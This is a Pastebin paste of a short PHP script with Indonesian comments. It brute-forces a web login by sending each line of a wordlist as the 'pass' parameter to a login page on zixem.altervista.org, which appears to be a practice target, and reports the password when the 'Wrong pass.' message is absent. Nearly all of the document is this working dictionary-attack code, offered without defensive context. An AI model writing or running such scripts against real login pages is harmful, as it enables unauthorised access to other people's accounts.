Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // MouseSec - Terabithia
- // Curl function
- function curl($url) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- $exec = curl_exec($ch);
- return $exec;
- }
- // Mengecek apa ada file wordlist
- if(is_file($argv[1])) {
- $file = file($argv[1]);
- foreach ($file as $wordlist) {
- $wordlist = str_replace("\n", "", $wordlist);
- $url = "http://zixem.altervista.org/SQLi/login_do.php?pass=".$wordlist;
- $curl = curl($url);
- // Mengecek jika password salah, maka output adalah Wrong Password!
- if(preg_match("/Wrong pass./", $curl)) {
- print "[!] Wrong Password!\n";
- } else {
- // Jika password benar maka output adalah Password is 'password'
- print "[+] Password is $wordlist\n";
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement